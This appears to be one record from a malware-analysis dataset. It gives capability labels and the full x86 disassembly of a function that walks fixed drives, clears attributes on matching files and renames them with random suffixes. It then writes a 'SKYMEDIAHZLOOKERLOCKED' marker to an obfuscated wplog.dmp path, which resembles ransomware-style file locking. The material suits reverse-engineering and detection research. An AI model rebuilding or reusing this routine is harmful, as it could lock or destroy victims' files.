Function at 0x40dfa0
Capabilities:
Contain obfuscated stackstrings
Enumerate files on windows
Get disk information
Move file
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov eax, dword [0x4cf0c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x438], ecx
mov byte [ebp - 0x419], 0x44
mov dword [ebp - 0x428], 0
mov byte [ebp - 0x1c9], 0
jmp 0x40dfe1
mov al, byte [ebp - 0x1c9]
add al, 1
mov byte [ebp - 0x1c9], al
movzx ecx, byte [ebp - 0x1c9]
cmp ecx, 0x10
jge 0x40e5e9
push 5
push 0
lea edx, [ebp - 0x434]
push edx
call fcn.00474130
add esp, 0xc
movzx eax, byte [ebp - 0x419]
movzx ecx, byte [ebp - 0x1c9]
add eax, ecx
mov byte [ebp - 0x421], al
mov dl, byte [ebp - 0x421]
mov byte [ebp - 0x434], dl
push 0x49b8d0
push 0x49b8d4
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea eax, [ebp - 0x433]
push eax
call fcn.00474a28
add esp, 0xc
lea ecx, [ebp - 0x434]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x40e5e4
mov dword [ebp - 0x1f8], 0
jmp 0x40e07c
mov edx, dword [ebp - 0x1f8]
add edx, 1
mov dword [ebp - 0x1f8], edx
cmp dword [ebp - 0x1f8], 0xa
jge 0x40e5e4
push 0x28
push 0
lea eax, [ebp - 0x288]
push eax
call fcn.00474130
add esp, 0xc
lea ecx, [ebp - 0x434]
push ecx
lea edx, [ebp - 0x434]
push edx
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea eax, [ebp - 0x288]
push eax
call fcn.00474a28
add esp, 0xc
cmp dword [ebp - 0x1f8], 0
jne 0x40e10f
push 0x49b8d8
push 0x49b8e0
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea ecx, [ebp - 0x288]
push ecx
call fcn.00474a90
add esp, 4
lea edx, [ebp + eax - 0x288]
push edx
call fcn.00474a28
add esp, 0xc
mov byte [ebp - 0x1fd], 1
jmp 0x40e3a1
cmp dword [ebp - 0x1f8], 1
jne 0x40e159
push 0x49b8e8
push 0x49b8f0
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea eax, [ebp - 0x288]
push eax
call fcn.00474a90
add esp, 4
lea ecx, [ebp + eax - 0x288]
push ecx
call fcn.00474a28
add esp, 0xc
mov byte [ebp - 0x1fd], 2
jmp 0x40e3a1
cmp dword [ebp - 0x1f8], 2
jne 0x40e1a3
push 0x49b8f8
push 0x49b900
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea edx, [ebp - 0x288]
push edx
call fcn.00474a90
add esp, 4
lea eax, [ebp + eax - 0x288]
push eax
call fcn.00474a28
add esp, 0xc
mov byte [ebp - 0x1fd], 3
jmp 0x40e3a1
cmp dword [ebp - 0x1f8], 3
jne 0x40e1ed
push 0x49b908
push 0x49b910
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea ecx, [ebp - 0x288]
push ecx
call fcn.00474a90
add esp, 4
lea edx, [ebp + eax - 0x288]
push edx
call fcn.00474a28
add esp, 0xc
mov byte [ebp - 0x1fd], 4
jmp 0x40e3a1
cmp dword [ebp - 0x1f8], 4
jne 0x40e237
push 0x49b918
push 0x49b920
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea eax, [ebp - 0x288]
push eax
call fcn.00474a90
add esp, 4
lea ecx, [ebp + eax - 0x288]
push ecx
call fcn.00474a28
add esp, 0xc
mov byte [ebp - 0x1fd], 5
jmp 0x40e3a1
cmp dword [ebp - 0x1f8], 5
jne 0x40e281
push 0x49b928
push 0x49b930
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea edx, [ebp - 0x288]
push edx
call fcn.00474a90
add esp, 4
lea eax, [ebp + eax - 0x288]
push eax
call fcn.00474a28
add esp, 0xc
mov byte [ebp - 0x1fd], 6
jmp 0x40e3a1
cmp dword [ebp - 0x1f8], 6
jne 0x40e2cb
push 0x49b938
push 0x49b940
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea ecx, [ebp - 0x288]
push ecx
call fcn.00474a90
add esp, 4
lea edx, [ebp + eax - 0x288]
push edx
call fcn.00474a28
add esp, 0xc
mov byte [ebp - 0x1fd], 7
jmp 0x40e3a1
cmp dword [ebp - 0x1f8], 7
jne 0x40e315
push 0x49b948
push 0x49b950
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea eax, [ebp - 0x288]
push eax
call fcn.00474a90
add esp, 4
lea ecx, [ebp + eax - 0x288]
push ecx
call fcn.00474a28
add esp, 0xc
mov byte [ebp - 0x1fd], 8
jmp 0x40e3a1
cmp dword [ebp - 0x1f8], 8
jne 0x40e35c
push 0x49b958
push 0x49b960
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea edx, [ebp - 0x288]
push edx
call fcn.00474a90
add esp, 4
lea eax, [ebp + eax - 0x288]
push eax
call fcn.00474a28
add esp, 0xc
mov byte [ebp - 0x1fd], 9
jmp 0x40e3a1
cmp dword [ebp - 0x1f8], 9
jne 0x40e3a1
push 0x49b968
push 0x49b970
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea ecx, [ebp - 0x288]
push ecx
call fcn.00474a90
add esp, 4
lea edx, [ebp + eax - 0x288]
push edx
call fcn.00474a28
add esp, 0xc
mov byte [ebp - 0x1fd], 0xa
mov dword [ebp - 0x428], 0
lea eax, [ebp - 0x1c8]
push eax
lea ecx, [ebp - 0x288]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0xffffffff
jne 0x40e3d3
jmp 0x40e06d
cmp dword [ebp - 0x428], 0
jne 0x40e5d2
push 0
call fcn.0040ca40
add esp, 4
push eax
call fcn.00476bb4
add esp, 4
call fcn.00476bc6
imul eax, eax, 0x64
mov dword [ebp - 0x1fc], eax
push 0x50
push 0
lea edx, [ebp - 0x88]
push edx
call fcn.00474130
add esp, 0xc
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp - 0x434]
push ecx
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea edx, [ebp - 0x88]
push edx
call fcn.00474a28
add esp, 0xc
lea eax, [ebp - 0x19c]
push eax
lea ecx, [ebp - 0x19c]
push ecx
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea edx, [ebp - 0x88]
push edx
call fcn.00474a90
add esp, 4
lea eax, [ebp + eax - 0x88]
push eax
call fcn.00474a28
add esp, 0xc
push 0x80
lea ecx, [ebp - 0x88]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x28
push 0
lea edx, [ebp - 0x390]
push edx
call fcn.00474130
add esp, 0xc
lea eax, [ebp - 0x19c]
push eax
lea ecx, [ebp - 0x19c]
push ecx
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea edx, [ebp - 0x390]
push edx
call fcn.00474a28
add esp, 0xc
push 4
push 0
lea eax, [ebp - 0x390]
push eax
call fcn.00474a90
add esp, 4
lea ecx, [ebp + eax - 0x394]
push ecx
call fcn.00474130
add esp, 0xc
mov edx, dword [ebp - 0x1fc]
add edx, 0xf4240
mov dword [ebp - 0x420], edx
push 0x50
push 0
lea eax, [ebp - 0x418]
push eax
call fcn.00474130
add esp, 0xc
lea ecx, [ebp - 0x434]
push ecx
lea edx, [ebp - 0x434]
push edx
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00474a28
add esp, 0xc
mov ecx, dword [ebp - 0x420]
push ecx
push 0x49b978
push 0x40
lea edx, [ebp - 0x418]
push edx
call fcn.00474a90
add esp, 4
lea eax, [ebp + eax - 0x418]
push eax
call fcn.00476cb6
add esp, 0x10
push 0x49b97c
push 0x49b984
call fcn.00474a90
add esp, 4
add eax, 2
push eax
lea ecx, [ebp - 0x418]
push ecx
call fcn.00474a90
add esp, 4
lea edx, [ebp + eax - 0x418]
push edx
call fcn.00474a28
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x88]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea edx, [ebp - 0x1c8]
push edx
mov eax, dword [ebp - 0x42c]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40e5cd
mov dword [ebp - 0x428], 1
jmp 0x40e3d3
mov ecx, dword [ebp - 0x42c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x40e06d
jmp 0x40dfd3
mov dword [ebp - 0x204], 0
push 0
push 1
push 1
push 1
push 1
push 1
push 0xb
mov ecx, 0x4d2a70
call fcn.0041fe30
push 0x28
push 0
lea edx, [ebp - 0x1f4]
push edx
call fcn.00474130
add esp, 0xc
mov byte [ebp - 0x1f4], 0x63
mov byte [ebp - 0x1f3], 0x3a
mov byte [ebp - 0x1f2], 0x5c
mov byte [ebp - 0x1f1], 0x77
mov byte [ebp - 0x1f0], 0x69
mov byte [ebp - 0x1ef], 0x6e
mov byte [ebp - 0x1ee], 0x6e
mov byte [ebp - 0x1ed], 0x74
mov byte [ebp - 0x1ec], 0x5c
mov byte [ebp - 0x1eb], 0x77
mov byte [ebp - 0x1ea], 0x70
mov byte [ebp - 0x1e9], 0x6c
mov byte [ebp - 0x1e8], 0x6f
mov byte [ebp - 0x1e7], 0x67
mov byte [ebp - 0x1e6], 0x2e
mov byte [ebp - 0x1e5], 0x64
mov byte [ebp - 0x1e4], 0x6d
mov byte [ebp - 0x1e3], 0x70
push 0
push 0
push 4
push 0
push 7
push 0xc0000000
lea eax, [ebp - 0x1f4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0xffffffff
jne 0x40e78c
push 0x28
push 0
lea ecx, [ebp - 0x1f4]
push ecx
call fcn.00474130
add esp, 0xc
mov byte [ebp - 0x1f4], 0x63
mov byte [ebp - 0x1f3], 0x3a
mov byte [ebp - 0x1f2], 0x5c
mov byte [ebp - 0x1f1], 0x77
mov byte [ebp - 0x1f0], 0x69
mov byte [ebp - 0x1ef], 0x6e
mov byte [ebp - 0x1ee], 0x64
mov byte [ebp - 0x1ed], 0x6f
mov byte [ebp - 0x1ec], 0x77
mov byte [ebp - 0x1eb], 0x73
mov byte [ebp - 0x1ea], 0x5c
mov byte [ebp - 0x1e9], 0x77
mov byte [ebp - 0x1e8], 0x70
mov byte [ebp - 0x1e7], 0x6c
mov byte [ebp - 0x1e6], 0x6f
mov byte [ebp - 0x1e5], 0x67
mov byte [ebp - 0x1e4], 0x2e
mov byte [ebp - 0x1e3], 0x64
mov byte [ebp - 0x1e2], 0x6d
mov byte [ebp - 0x1e1], 0x70
push 0
push 0
push 4
push 0
push 7
push 0xc0000000
lea edx, [ebp - 0x1f4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x204], eax
push 0
lea eax, [ebp - 0x394]
push eax
push 0x16
push str.SKYMEDIAHZLOOKERLOCKED
mov ecx, dword [ebp - 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x204]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x4d3d38], 0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00474590
mov esp, ebp
pop ebp
ret